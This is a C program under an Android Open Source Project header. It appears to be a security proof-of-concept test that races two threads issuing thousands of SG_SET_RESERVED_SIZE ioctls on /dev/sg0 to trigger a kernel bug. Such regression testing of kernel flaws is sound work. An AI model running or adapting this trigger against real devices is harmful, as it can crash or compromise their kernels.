/** | |
* Copyright (C) 2017 The Android Open Source Project | |
* | |
* Licensed under the Apache License, Version 2.0 (the "License"); | |
* you may not use this file except in compliance with the License. | |
* You may obtain a copy of the License at | |
* | |
* http://www.apache.org/licenses/LICENSE-2.0 | |
* | |
* Unless required by applicable law or agreed to in writing, software | |
* distributed under the License is distributed on an "AS IS" BASIS, | |
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
* See the License for the specific language governing permissions and | |
* limitations under the License. | |
*/ | |
#ifndef _GNU_SOURCE | |
#define _GNU_SOURCE | |
#endif | |
#include <string.h> | |
#include <android/log.h> | |
#include <dirent.h> | |
#include <dlfcn.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <linux/futex.h> | |
#include <pthread.h> | |
#include <sched.h> | |
#include <signal.h> | |
#include <stdbool.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/mount.h> | |
#include <sys/ptrace.h> | |
#include <sys/select.h> | |
#include <sys/socket.h> | |
#include <sys/stat.h> | |
#include <sys/syscall.h> | |
#include <sys/system_properties.h> | |
#include <sys/time.h> | |
#include <sys/types.h> | |
#include <sys/un.h> | |
#include <sys/utsname.h> | |
#include <sys/wait.h> | |
#include <unistd.h> | |
int fd; | |
void in_cpu() { | |
int num_processors = sysconf(_SC_NPROCESSORS_CONF); | |
cpu_set_t get; | |
int i = 0; | |
CPU_ZERO(&get); | |
sched_getaffinity(0, sizeof(cpu_set_t), &get); | |
for (int i = 0; i < num_processors; i++) { | |
if (CPU_ISSET(i, &get)) { | |
printf("The current thread bound to core %d\n", i); | |
} | |
} | |
} | |
static void bind_child_to_cpu() { | |
in_cpu(); | |
cpu_set_t set; | |
CPU_ZERO(&set); | |
CPU_SET(1, &set); | |
sched_setaffinity(0, sizeof(set), &set); | |
in_cpu(); | |
} | |
#define BLKTRACETEARDOWN _IO(0x12, 118) | |
#define SG_SET_RESERVED_SIZE 0x2275 | |
#define SG_GET_RESERVED_SIZE 0x2272 | |
static void* overwrite(void* param) { | |
int ret; | |
for (int i = 0; i < 100000; i++) { | |
int size = 0x100; | |
int n = ioctl(fd, SG_SET_RESERVED_SIZE, &size); | |
printf("ioctl error =%d %s\n", n, strerror(errno)); | |
} | |
return param; | |
} | |
int functionOne() { | |
sleep(2); | |
char filename[128]; | |
strcpy(filename, "/dev/sg0"); | |
fd = open(filename, 2); | |
if (fd == -1) { | |
return -1; | |
} | |
pthread_t thread0; | |
for (int i = 0; i < 2; i++) { | |
if (pthread_create(&thread0, NULL, overwrite, NULL)) | |
perror("overwritethread pthread_create()"); | |
} | |
return 0; | |
} | |
int main(int argc, char** argv, char** env) { return functionOne(); } |